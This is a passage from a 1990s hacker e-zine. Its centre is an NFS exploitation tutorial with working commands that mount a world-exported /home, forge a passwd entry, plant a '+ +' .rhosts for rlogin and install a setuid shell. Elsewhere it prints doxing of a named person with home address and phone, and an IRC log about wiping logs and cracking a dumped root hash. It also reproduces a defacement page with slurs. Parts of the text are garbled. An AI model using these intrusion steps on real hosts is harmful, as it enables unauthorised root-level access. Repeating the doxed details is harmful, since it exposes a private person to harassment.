컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 5. The issues list : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ------------------------------------------------------------------------------- 1997 : ------------------------------------------------------------------------------- issue 2 : Mon 26th May issue 3 : Tue 15th July issue 4 : Wed 3rd September issue 5 : Thu 23rd October issue 6 : Fri 12th December ------------------------------------------------------------------------------- 1998 : ------------------------------------------------------------------------------- issue 7 : Sat 31st January issue 8 : Sun 22nd March issue 9 : Mon 11th May issue 10: Tue 30th June issue 11: Wed 19th August issue 12: Thu 8th October issue 13: Fri 27th November ------------------------------------------------------------------------------- 1999 : ------------------------------------------------------------------------------- issue 14: Sat 16th January issue 15: Sun 7th March issue 16: Mon 26th April issue 17: Tue 15th June issue 18: Wed 4th August issue 19: Thu 23rd September issue 20: Sat 1st January 2000!@�!@"$@%!�"~@ 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 6. Damned warez pups : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� (I didn't touch anything on this document, this is how I got it - so1o) --- U call us kriminals. We distribute copyrighted software... and u call us criminals. We steal games from radio shack... and u call us criminals. We exist without skin color, (cuz we're always inside downloading and uploading) without religious bias, (cuz we have know idea that the hell religios bias is) without intelligence... and u kall us criminals. U start wars and stuff, yet we're the kriminals. Yes, I am a criminal. My crime is that of stupidity. My crime is that of judging people by how much they upload and how k-rad they're typing is, not what they look like or if they can spell they're name right the first time without messing up. My crime is that of stealing u're work and putting my name On it, and u get all huffy puffy about it. I am a kourier, and this is my manifesto. U may stop one moron, but U can't stop us all! After all, we're all alike. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 7. Simple NFS technique : Synner 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� -:Introduction:- The Network File System as it is commonly called NFS ,allows you to share filesystems among hosts.NFS was firstly introduced by Sun Microsystems back in 1985.The good thing about NFS is that when a server crashes ,no data is lost, simply the clients wait untill it brings itself back to normal and then continue as if nothing had happened. -:Exporting filesystems:- A server is said to 'export' filesystems when it makes filesystems avaiable for use by other machines.An NFS client must always mount a filesystem before using it.Then the server examines the mount request and authenticates the client before allowing access. -:The Mount Daemon:- Mount requests are handled by the mountd.Mountd reads /etc/exports so it can get information about what filesystems should be exported and how to outsiders.The export file consists of directories in the left column,followed by a series of attributes and options stating how the filesystem can be exported. For example ,/etc/exports: /disk2/data2 -access:foovax:godzilla,root=godzilla /disk1/data1 -access:acid25:stonefree:ganja permits /disk2/data2 to be mounted by foovax and godzilla whilst giving godzilla root privilidge in this filesystem when mounted. In addition /disk1/data1 can be mounted by acid25,stonefree and ganja. Attribute Description ---------------------------------------------------------------------------- -access:list Lists hosts that can mount the filesystem. -ro Export read-only;no clients may write on the filesystem. -rw:list Export read-only mostly;list describes the hosts allowed to write on the mounted filesystem.All other must read-only -root:list Lists hosts permitted to access the filesystem as root without this option a client has equilevant access as nobody. (usually UID -2). -anon:n Specifies UID that should be used for requests coming from an uknown user.Defaults to nobody. ---------------------------------------------------------------------------- -:Mounting Remote Filesystems:- On machines that support NFS the mount command has been modified to understand the hostname:directory notation For example if a user can mount /CDROM from foobar he must give: % mount 666.666.666.666:/CDROM /mnt % cd /mnt Then he would mount the /CDROM directory from jerky to his machine /mnt directory.When finished he would do 'umount /mnt' to unmount it. When invoked with no parameters ,mount will show which filesystems are mounted in the machine along with their type etc. The mount command allows one to create temporarly network mounts,but mounts that are part of the permanent configuration must be stated in /etc/fstab thus automatically mounted in boot time. -:Showmount:- Showmount querries the mount daemon of the remote host to obtain the server's NFS state.Invoked with no parameters ,showmount lists the clients that are mounting from that host. Common options: -a or -all List both client hostname and mounted directory in host:dir format. -d or -directories List only the directories mounted by some client -e or -exports List the NFS server export list. see also showmount(1). -:NFS exploitation:- This last section will cover some simple mechanisms that can exploit NFS when its not configured properly.Dont expect black magic here. % showmount -e target.com Export list for target.com: /CDROM (everyone) /home (everyone) /usr sex,drugs,jesuz-krist % We see here that target.com allows the /CDROM & /home filesystems exported to the world!.Now we will attempt to mount /home and place an .rhosts entry to a user (/CDROM is no good :) ). # mount 123.123.123.123:/home /mnt # cd /mnt # ls -l 1 drwxr-xr-x 11 root daemon 512 Jun 12 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jun 12 11:32 .. 1 drwxr-xr-x 9 6667 daemon 1024 Jun 12 23:12 guest 1 drwxr-xr-x 5 203 10 1024 Jun 12 09:12 foosucker # echo "guest:*:6667:1:disposable hero:/tmp:/bin/sh" >>/etc/passwd # su guest $ echo "+ +" >~guest/.rhosts $ cd;umount /mnt $ rlogin target.com -l guest Welcome to Target Inc. ! target% Lets review this step-by-step.At first we discover that home directories at target.com are exported to the world.Then we proceed in mounting them at the /mnt directory.Then we access the directory and see that a guest user exists.We write down his uid/gid and create a temporarly user at our own passwd file.We then su to guest and create an .rhosts entry allowing us to rlogin freely to Target!. Considering that target.com has '/home' exported to everyone and since root cannot modify files on a NFS filesystem,its only a matter of creating a 'bin' owned suid shell in guest's home directory allowing us bin access. # mount 123.123.123.123:/home /mnt # cd /mnt/guest # su guest $ chmod 777 . $ exit # su bin $ rcp /bin/sh ./binsh $ chmod 4755 ./binsh $ exit # rlogin 123.123.123.123 -l guest Welcome to Target Inc.! target% ./binsh $ whoami bin Although there are many more issues regarding NFS ,as Sun's AMD and automount (these are enhanced versions of 'mount') or more sophisticated ways of NFS exploitation (thru the portmapper or nfsd bugs in SunOS),this paper quickly covered the basics.Hope you enjoyed as much as I did!. -:Suggested Reading:- UNIX System Administration Handbook Managing NFS/NIS O'Reilly Publications RFC1094 Relevant manpages. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 8. #hebrew : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Any hebrews that can translate this for me will get a prize... [migada] 昻 哀特蒲? [migada] 重遇� [migada] 賊 特蒲? *[msg] 重遇� [migada] 績郁� 猩�? [migada] 碎 依�? [migada] 陝 縯� 守 剡 重遇� *[msg] 重遇� [migada] 守 齧 碎? [migada] 績郁� 猩 齧 猩�?? [migada] 碎 齧 守 依� 猩 齧 猩�? *[msg] 碎 齧 守 依�? *[msg] 守 齧 碎? [migada] 魚� 齧 猩�? [migada] 賊 猩� 袍唾 [migada] ? *[msg] 重遇� *[msg] 魚� 齧 猩�? *[msg] ?? [migada] 猩 [migada] 姪鹹� [migada] 猩 齧 猩�? [migada] 績郁�? [migada] 珣�? *[msg] 姪鹹� *[msg] 績郁�? [migada] 燮� 賊筍雩 曖一俺 [migada] 姪鹹� 猩�? [migada] 績郁� 猩�? [migada] 碎 依� 猩�? *[msg] 姪鹹� [migada] 齧 猩? [migada] 絢芋 猩� 虞訊 佾衒� 鎭� 悛鴨 銳� 剪義虞 齧 重遇� [migada] ? *[msg] 姪鹹� 猩�? *[msg] ?? [migada] 猩 [migada] 燮� 守 [migada] !!!!!!!!!!!!!!!!!!!!! *[msg] ? [migada] 魚族 績憶 循� 松� *[msg] 齧 猩? [migada] 碎 依� 猩� ? [migada] 績郁� 猩�? *[msg] 績郁� 猩�? [migada] 燮� 賊筍雩 曖一俺 [migada] 魚舷? *[msg] 碎 依� 猩�? *[msg] ?? [migada] 陝 燮� 設芋 純 猩� 絢芋? *[msg] 燮� 賊筍雩 曖一俺 [migada] 績郁� 率虞�? *[msg] 燮� 賊筍雩 曖一俺 *[msg] ? [migada] 績郁� 率虞�? [migada] 蹟諺舷? [migada] 展晫旭. [migada] ? [migada] 績郁�? *[msg] 纖輒 飡一� *[msg] 魚族 賊筍雩 族橒 猥閃� [migada] 猩� 脣予 [migada] 誦� *[msg] 績郁� 率虞�? [migada] 申� [migada] 猩� 琮剪 [migada] 魚舷 純 音絃 *[msg] [msg] 績郁� 率虞�? *[msg] [migada] 申� *[msg] [migada] 猩� 琮剪 *[msg] ?? [migada] 依� 鹹音� 盒� 虞訊 賊五勖 盒� *[msg] 申� [migada] 齧 沆賢雩 佾衒� 壽拖釣� 齧 喊廛釣 認壽 [migada] 賊 猩� 蹟一�? *[msg] 猩� 琮剪 *[msg] ?? [migada] 誦� *[msg] 依� 鹹音� 盒� 虞訊 賊五勖 盒� [migada] 誦� *[msg] 申� *[msg] do you speak english? [migada] yes 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 9. Lord Somer : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Lord Somer is now on the top of our list, due to the following reasons... 1) He thinks he has skills 2) He does w4r3z He will get 0wned, just like all the others (sIn, ELH etc. etc.) On his elite internic whois, he has... Somer, Robert The Hacker's Layer Cincinnati, OH 45238 815 334-9547 (815 isn't Cincinnati, it's Woodstock) (that fone # is the fax machine for the nethosting company he uses) So, we used a process of simple deduction, and here is (we hope), Lord Somer's d0x... Thomas J Somers 5737 Walkerton Dr, Cincinnati, OH 45238-1842 (513) 451-4239 w3 4r3 c0m1n f0r j00 w4r3z k1dd13, ph34r. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ NEWS ]=====================[ .SECTION E. ]=======================[ NEWS ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. c0de : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� New people hit the scene, c0de, #c0de on EFnet, check out www.hacked.net to see what they've hit, all iRC targets so far (but we beat them to www.cyber-dragon.org), lamefuck VB k0der \\StOrM\\ of sIn is in their little group, so I really wouldn't rate them very highly at all. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. Beyond HOPE : Some dude @wired.com 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� With security personnel up from the CIA hometown in Langley, Virginia, mixing with hackers up from basements across the country, the techno-bacchanal Beyond HOPE highlighted the further evolution of computer jocks into the mainstream - and into money. Now that security concerns and hacking have yielded a booming industry ("tiger teams" of contractual crackers), it should come as no surprise that this rowdy, packet-sniffing bunch has learned to capitalize on its true talent: working the network. "Five years ago, they were a fringe, the Net was this obscure thing used to hack phone tech manuals," says security and cryptography expert Bruce Schneier, who spoke at this weekend's conference, held in New York and sponsored by the hacking mag 2600. "Now there are companies whose life blood is the Net, like Yahoo, Amazon.... And hackers are being 'outed,' getting hired for penetration testing or starting companies." The three-day conference, keynoted by MSNBC commentator Brock Meeks, proved that hacking is not a lifestyle choice, but a community with its own rock stars (L0PHT), renegades (Metro-card hacking Red Balaklava), martyrs (Bernie S., Phiber Optik), and even patron saints (Cheshire Catalyst, Captain Crunch). While Steve Rambam walked the audience through the method for acquiring a fake Social Security card, the media-savvy Mudge, wearing a "Microshit" T-shirt, filled the group in on Theo de Raadt's OpenBSD, a hacker-written operating system. With an exploit script, an easy-to-use interface, and good name, "it will get press," said L0PHT member Mudge. "Microsoft hates that, and that's why we love it." But the real attraction was the bank of Unix terminals prepped for public consumption - and corruption. And while the hacker movement is gaining force, it's also gaining speed. This year, the conference boasted an operational 10 Mbps local network, compared to the crawling 28.8 Kbps they had in 1994. "If you have a machine on the network, expect to be hacked," said 2600 founder and conference organizer Emmanuel Goldstein, "because that's what we're here for." The 1,000-person strong Beyond HOPE is among a growing number of hacker conferences, including Black Hat and DEFCON, both held in July in Las Vegas. The happy-camper HIP conference was held, perhaps unwisely, simultaneously. HOPE attendee CyberJunkie hacked the HIP conference homepage and riddled it with HOPE icons. Though there's clearly a greater handshaking between law enforcement and the hacker community, Bernie S. knows well that the amity has a ways to go. The co-organizer of the 2600 meeting, the boyish Bernie was sent to prison in May 1995 by the Secret Service for publishing a list of the service's communications frequencies, code names, and photos of agents in action (and picking their noses). The case against him began to verge on the absurd when agents confused the dental putty in his garage with plastic explosive. As the cause celebre of the culture, Bernie S. typifies the resiliency of the group. "If you try to squelch info, it won't get better," he said. "It'll mushroom." Though most hackers subsist off freeware, the conference offered multiple opportunities for conspicuous consumption. "Major Hacking" cookies were on sale at the "Buy Our Shit" concession stand. A letter-bomb detector went for US$40 (used), and another table offered "I Love Your Computer" bumper stickers and "Co-Ed Naked Hacking" T-shirts ("Finger Me for More Info"). For the more serious consumer, Nadir sold hot hard drives and CD-ROM drives for $50 a pop. Will he guarantee it works? "I'll guarantee I brought it here," he answers. He's a student, and it's the first time he's tried selling hijacked equipment, he says. "I just want to make people happy." Ritalin junkies may have dominated by far, but the elder statesmen of the movement were there in force. Phone phreak Cheshire Catalyst, the founder of 2600 precursor TAP (Technical Assistance Program), started his newsletter in 1971 for "pay-phone justice" - basically a primer on how to make phone calls on a penny. Captain Crunch, a more grizzled veteran who served time, reminisced about the time he prank-called Nixon in the White House. ("Sir, we have a crisis," he recalls saying. "What is the nature of the crisis?" Nixon asked. "Sir, we're out of toilet paper," Crunch answered, and hung up). But for those on the outside, the line between allegiance and antagonism isn't always clear. MSNBC commentator Brock Meeks called for hackers to "pump up the volume," and bemoaned the loss of elegant hacks like the hole-sniffing Satan or Hacker X's coup stripping the CyberPromotions server and posting it all over news groups. "Twenty percent of government computers have been subject to hacking attempts - that's a pretty low percentage." he said. "Get off your asses and make that go up." Later, a black-clad attendee who requested anonymity scoffed at Meeks' coaching. "It's so self-serving," he said. "He just wants to write about it." 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 3. UKCON : phuk people 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Session Start: Sat Aug 16 18:34:13 1997 * Logging #ukcon to: [#ukcon.log] *** G4MM4 sets mode: +o d1gitaliz werd re middle low do you mean the alt.2600 meetings? dont know .. the lees meetings lees == leeds *** G4MM4 (gamma@206.49.145.8) invites you to join #BT-Informants Thats probably the 2600 meets, I`ve only been to a couple hey d1, r u here for the conference? *** Cr0n (root@p01-kingfisher-gui.tch.virgin.net) has joined #ukcon sups *** Falken (Falken@sati.dungeon.com) has joined #ukcon Hi all! werd Syber: Hi ! Pleased to be here :-) Hey falken. I had to change my nick to cybertim with an s cos some one was already using mine syber: I guessed Dogma should be here soon... So what r all your specialist subjects? everything ;) *** Falken has quit IRC (Connection reset by peer) Same here... *** Falken (Falken@sati.dungeon.com) has joined #ukcon what happend falken? Syber: System reset... i think my client flooped out... * Falken wishes he was @ Uni now... why uni? Syber: Nice UNIX shell account... :-) lol * Falken finishes choc. cup-cake OK, its gone 1900, whats happening at this con ? Oh, you didn`t give me a bit! They sould be here soon *** hollowman (hollow@dialup-15-58.netcomuk.co.uk) has joined #ukcon Syber: I got 3 more downstairs :-} hi *** G4MM4 sets mode: +o hollowman re hey hallowman hi gamma hi hollow ! hi falken come on dogma.... Ok, I`ve got to break the ice..... Any phreaks in the house? Gee- let me think... :-) yes, but I dont do anything to break the law * Falken remembers he doesn't either :-) *** noname (krunn@ld08-131.lon.compuserve.com) has joined #ukcon yeah, we're all law abiding citizens; and we narq on those that aren't, eh gamma ;) yep! hello hey. .msg a_gorham hi m8, join #ukcon.. theres a lot of people to bust oops * d1gitaliz ROFL Anyone else here from UK, spec. Manchester ? everyone from UK I`m from Yorkshire ..Doncaster im in s. scotland ....... I'm from BT! .... ./msg gamma I'm from GCHQ too :) BT? oops hehehe dont tell anyone though, I get comission for people I bust! pays well :-? .ms$%{i d1g{italiz Yeah I met you at last years CCU christmas party what are they paying you ? i get 'bout a thou, but i heard gamma got more Good point: No phone bill :) I get fucking loads gamma: well you are king of the narqs heheh * d1gitaliz bows down and worships gamma ;) I'm king.. second only to krew werd, so why did you call this lil soiree tim ? Why'd noone invite coldfire :-? yeah, krew is my hero HMM Cos we have to build the UK hacking community... If cold-fire was here the channel woould by +ptnilk 3y3_r00l 1 by now I`m sick of the yanks having everything alright then, how many of you showed up at AAA# oops g4: ? s/A#/A3 * G4MM4 rofl Or hip97/hope or controversy ? I was at HIP d1gitaliz: I would've gone, but it was too expensive to get there during the summer (no student loan left :-) ) I borrowed the money of mummy ;) Where the fuck is everybody? syber: I was too far away to ask... plus i'd have to expl. why :-) down the pub, where i should be syber: how many enquires did ya get to your post ? Tell me about it About 40! and they all got an invite syber: maybe the'll be here l8er... hehe yeh whatsthe point in this? noname: good point, syber, what r we gonan be doing / talking about ? *** G4MM4 has quit IRC ((e)) *** d1gitaliz changes topic to: " If cold-fire was here the channel would by +ptnilk 3y3_r00l 1 now" talk about phreaking thats a good topic great... fine *** Falken is now known as newbie_ *** G4MM4 (gamma@206.49.145.67) has joined #ukcon *** d1gitaliz sets mode: +o G4MM4 re How do I get free phone calls and stuff ? *** newbie_ is now known as Falken fucking phone line uh anyone been bluboxing lately?? middle ;) :-)))))))) hi lo Gamma: re ! yeah, tell uncle d1gi, I won't tell nasty Mr Gorham, honest heh hehe syber: don't do the boxes... have you sybertim? I havent tried in ages.. * Falken has nvr tryied I got 'into' the telephone scene after playing with networks, and saw that in the UK it wa snvr gonna be much good. anyone got 8.8.5 remote ? :) * Falken opens telnet window... Falken: You dont know until youve looked Gamma: Well maybe one time I'll get the 'boyz' in manchester to show me some fun stuff. They allready got me into mobile phone stuff... (BTW, for this session 'into' means for educational use only) :-) You go to manc 2600s? Yup. gamma: you ? I went to controversy Dont live in manchester otherwise I would Everyone knows there maybe a con in manchester next year ? nope *** _aqua_ (~asas@klone.demon.co.uk) has joined #ukcon heard something about one somewhere up north Ahh, ok then, there maybe a con in manchester next year :-) well, manchester / blackpool area. the guy aint sure yet. falken: how often you go manchester ? who's the 'guy'? hey _aqua_ hi <_aqua_> hi d: as oftern as I can. I went to the last 3-ish (incl. the 'trashing') I'll be at all of the rest from september brb yeah ? ok then who do you know from manchester ? Mr. Cold fire :-) back they don't seem to be too keen on names. I got introduced my 1st night be instantly 4got it all :-) OK... so i have a user account at uni... i'm logged in... ideas on what to do next ? * Falken thought it was getting boring :-) What do you want to do on it? wipe out the system monitering stuff 4 a start... hehehe what flavour of unix? ksh <_aqua_> hi Where the fucks Dogma.....???..?? /home/S96/xxxxxx $ :-> So what now boys and girls :-) /etc/syslog.conf generally specifies which files to log certain things to yeah, you got a utmp & wtmp editor ? I got some stuff... www.rootshell.com lpr.debug /var/adm/lpd-errs mail.debug ifdef(`LOGHOST', /var/log/syslog, @loghost) werd, the eject xploit sometimes works on sol boxes ifdef(`LOGHOST', , fdformat also ok ping loghost user.err /var/adm/messages i got a response and a name yeah, what ? XXXXXXX-f0 is alive you got an acc on that box ? XXXXXX is a server name I know is on the system d: yup if stuff is being logged to a loghost aswell as local files and you cant get on the loghost to edit logs there also its a bit dodgy errrrm, well to be perfectly frank, i don't think you should be going for your first pop, on a box you are actually tied to. Hmm.. thought so, i need to root the loghost ? Falken, dont fuck about with your own account m8 cos if you don't know how to clean up logs, you're toast IF you dont want to be logged yes d: I'm just aiming to look around on it, get a 'feel' for unix systems as opposed to DOS, so thats why i need to be able to clean up logs :-) h: the thought had occured to me. Whach yourself.. what the hell does brb mean anyway? * Falken must ask someone at nxt 2k6 to get him a 'new' account on the same box :-) Falken, depends how much you wanna 'feel' mate.. hopefully not a tit :)) be right back be right back ? doh o well, you can't do shit to the logs, unless you root, and if you fuck up, you might as well just get used to the job centre cos your feet won't touch the ground at that uni h: well, i don't know what their attitude is to people looking around their etc dirs... They wont fuckin like it thats alright.. so long as you dont break their system policy that they have thats for sure ... they let us change our window managers, .profiles, .login scripts and the like, so... maybe its ok to look... go and get a copy of redhat linux and install that, cos until you used to unix, you don't wanna be fucking with someone elses box on your own box that is ;) Gamma: the thing i signed said 'e-mail and Web only for academic purposes' and we all break that ! bleh redhat ;) $ :-> more passwd root:a9PLS0RLoY0Uw:0:1:Operator:/:/bin/csh slackware rules etc.... can i know run a cracker on that line ? heh *** Arbitrato (jcmyers100@201-241-249.ipt.aol.com) has joined #ukcon hello sybertim yes hey man hows it goin well, if your admin ain't a complete tosser, it ain't gonna do you anygood trying to bruteforce it you got crackerjack? hoped that you`d turn up noname: not yet... fine d: well, i'm assured that they don't know much about stuff. i think ver 4 is latest just got in oh someone wanna run crackerjack on that line and see if it turns up much ? *** noname has quit IRC (Leaving) So much for this fuckin conference hardly anyone turned up *** noname (krunn@ld08-131.lon.compuserve.com) has joined #ukcon *** sybertim sets mode: +o Falken Tnx 4 op Syb ! *** Arbitrato has quit IRC (Connection reset by peer) *** _aqua_ has quit IRC (Ping timeout) outta here guys... chat l8rz!!! *** hollowman has quit IRC (I wonder what this button marked "EOF" does...) wait hahaha theres some peopl ehere cya hoolow Did anybody whatch sneakers last night?? lag lag lag syber: yup. not as good as hackers. werd, gonna go have a cigarette. brb yeah Hackers is a clasic I love the Prodigy music in it! *** _aqua_ (~asas@klone.demon.co.uk) has joined #ukcon boow boow woow wooow....... bow bow to GAMMA syber: i still aint seen all of it :-( *** G4MM4 is now known as GAMMA <_aqua_> hi ppl hello * Falken logouts of UNIX box I got the origional on tape! * Falken is out to buy it sometime when he get sback to manch Falken: The best way to learn unix properly is to install it on your own machine.. Falken: Or use a friends system if that's not possible Gamma: Yeah, but 'till sept/aug i don't have a machine powerful enough to do it... You dont need a powerful machine.. * Falken has 386/25sx with 400meg free HD I'm running linux on a 486dx2 66 , 12mb ram and it runs on a 386 with 4mb I Think that enough ? how much ram? 9.25 meg (don't ask :-) ) yeah thats fine.. It`l run, on a 386 with 2 meg. ok, now i just need to wire a friends cd drive up to it :-) *** Arbitrato (jcmyers100@166-20-51.ipt.aol.com) has joined #ukcon or you can download it.. d/l !!! and how big is the archive ???? * Falken watches bond movie... I d/led it.. got a, ap, d, n disksets of slackware which was 40Mb thats all you need unless you want Xwindows aswell a, ap, d, n ? how many is xwin ? a & ap are the standard utils etc.. d = compilers etc, n = tcp.ip cant remeber how many xwindows is.. 20 something I think * Falken imagines sitting infront of pkzip and a stack of disks all day in the computer building yeah, but slakware is broked things like fucking lpd are all messed up eheh how do u mean messed up ? like it don't work, and if remember rightly has an overflow in it gr8 :-) How big is redhat ? overflow or 50 gamma: yeah, redhat is sposed way better bsd is where it's at tho' * Falken thinks he'll investigate this further :-) don't you need to repartion HD for unix though ? yeah or get rid of dos entirely thought so... but DOS can create partion in free space on HD with out full reforamt of whole HD ? Or use DOSEMU and have linux in a direcotry on current partition * Falken needs word 6 for Uni Gamma: thats it :-) Its a bit slow but its there at least yeah... or you could use wp for linux wp ? bah DOSEMU = UMSDOS umsdos ? wordperfect * Falken is losing it :-) thats what installs it in a dos directory * d1gitaliz lost it a long time ago dosemu runs dos stuff anyone who finds can you please leave it at the lost property office d1gitaliz: lost your pill, found it, swallowed it, lost it ;) dosemu allows dos in a unix window ? *** Cr0n has quit IRC (Ping timeout) gamma: yeah, squared ;) lets you run dos programs * d1gitaliz should have brought a cd to the office Gamma: but if unix is in a dos dir, i'll just boot to dos either way ? * d1gitaliz might nip home to get a bad religion album and then run unix if i need to Even if its on its own partition you can still bott to dos 1st then load unix with loadlin f: nope it's a completely differnt file system d: but it's gonan be in a dos dir ? *** Arbitrato has quit IRC (Connection reset by peer) nope, you have 2 partions if you wanna have dos and unix c:\loadlin\loadlin c:\loadlin\vmlinuz root=/dev/hdb1 ro and you might as well do that you can put linux in a dos directory but DOS can create partion in free space on HD with out full reforamt of whole HD ? but what is the point ? <_aqua_> falken: you need 2 partitions and use lilo or something to boot whichever os there is know point but it can be done! not if you use UMSDOS Id: so i don't have to bacl up 150 meg of data :-) ld =d1 Why would you use UMSDOS it it was working from a Dos Directory?? :) Hey aqua I think you deserve ops. You know what your talkin about! *** sybertim sets mode: +o _aqua_ really? ok, ok.... i have a 640 meg HD, formated as one partition. It's got 400 odd meg still free. I'd rather not reformat/partition the drive, what do i need to do ? * GAMMA will say this only one more time just run fdisk under linux and then make a linux partition.. use partion magic or that free non-destructive repartioner You can use UMSDOS which installs linux into a DOS directory - thus no reformatting syber: i just ran fdisk- no room to create new partiton what ever it's called then use FIPS NO don't use fdisk *** Arbitrato (jcmyers100@167-111-221.ipt.aol.com) has joined #ukcon yeah fips thats it <_aqua_> ok install the UMSDOS filesystem in a directory on the MS-DOS partition use fips to create a new partion gamma: only linux ? he said he doesnt want to repartition though I dont know what has umsdos fdisk will fuck up partition tables no he sayz that he don't wanna lose data pick an o/s and then check and fips safely repartitions if hes using 16 thingy <_aqua_> you don't need to repartition if you use UMSDOS I'd rather not reformat/partition the drive, what do i need to do ? ;) aqua: ok... so that'll put my unix stuff onto the hd, and allow me to run it from a stnd dos boot ? <_aqua_> yes, thats what its designed to do gamma: ok aqua: OK thanks ! See aqua knows what he`s talkin1 about syber: yup <_aqua_> hehehe I just said that 3 times before aqua did wake the fuck up * Falken goes surfing 4 umsdos :-) Gamma: But aqua said it clearer :-) Or use UMSDOS and have linux in a directory on current partition *** GAMMA sets mode: -oooo _aqua_ d1gitaliz Falken sybertim *** GAMMA sets mode: +o d1gitaliz hey gamma YOU SHUT THE FUCK UP! sorry Just had a hard day... hehe *** GAMMA sets mode: +b *!*asas@*.demon.co.uk *** _aqua_ was kicked by GAMMA ((e) ) *** GAMMA sets mode: +b *!krunn@*.lon.compuserve.com *** noname was kicked by GAMMA ((e) ) *** GAMMA sets mode: +b *!Falken@*.dungeon.com *** Falken was kicked by GAMMA ((e) ) *** GAMMA sets mode: +b *!cybertim@*.dialup.zetnet.co.uk *** sybertim was kicked by GAMMA ((e) ) *** GAMMA sets mode: +b *!jcmyers100@*.ipt.aol.com *** Arbitrato was kicked by GAMMA ((e) ) *** GAMMA sets mode: +il 2 werd w00p �[� noname]� DCC Chat (152.174.22.153) (�) WARNING: Fake DCC Handshake detected! [195.232.5.131] != [152.174.22.153] tank god for that *** GAMMA sets mode: +k Fucking_l4m3rs fucking lamers ;) *** d1gitaliz sets mode: -p (� noname � krunn@ld08-131.lon.compuserve.com) whats the deal? gotta ignore em all now ;) *** d1gitaliz sets mode: +pm *** d1gitaliz sets mode: -p werd *** d1gitaliz changes topic to "Home of the Lame" heh (� Falken � Falken@sati.dungeon.com) why am i banned ? (� name � krunn@dialup-18-30.netcomuk.co.uk) let me back in * GAMMA *rofl* fucking lamers teach 'em to mouth off to real haxxors :) 158.152.30.224 granted connection to in.telnetd telnet connection attempt from klone.demon.co.uk heh who was klone.demon.co.uk? that fucking aqua ccitt tcplog: finger connection attempt from klone.demon.co.uk dont know what the lamer thinks hes doing about to get himself rm'ed ? #ukconf _aqua_ H ~user@klone.demon.co.uk (RHS Linux User) eheh or ping flooded hehe yeah Hes trying to winnuke me!!! *rofl* tcplog: netbios-ssn connection attempt from 167-111-221.ipt.aol.com dumb cunt ALL of em are after me classic if they can't work out that OOB don't work on a *nix box, we should have kicked 'em earlier :) 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 4. www.sinnerz.com gets 0wned : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ..this is what their new page looked like : [FUCK1N 0WN3D SIN B1TCHEZ] sIn 4r3 n0w m3mb3rs 0f th3 c0d3z3r0 ph34r n4t10n. ------------------------------------------------------------------------------ b0w the fuck d0wn j00 fuck1n' vB k0d3r punks. Team CodeZero, we got them madskills in effect, this time proving 0wnersh1p over lamefuck vB k0derz, they deserve all this shit more than anyone, they think they're so fucking cool with their vB k0dez and their k-r4d .txt ph1lez!@#~ ------------------------------------------------------------------------------ pHEAR dEM mADsKILLZ yOU fUCKING oWNED nIGGORS. wE bE dE oRIGINAL 4 mAN dREAM tEAM, wE rULE yOUR wEAK wORLD. +-------------------+ � � � � � retard.jpg � � � � � � � � � +-------------------+ so1o, xFli, helix, modeX ------------------------------------------------------------------------------ Team CodeZero, wh0 laughs last? 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ PROJECTS ]=================[ .SECTION F. ]===================[ PROJECTS ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. soltool for Solaris 2.5.x [sunOS 5.5.x] is here!@~ : so1o 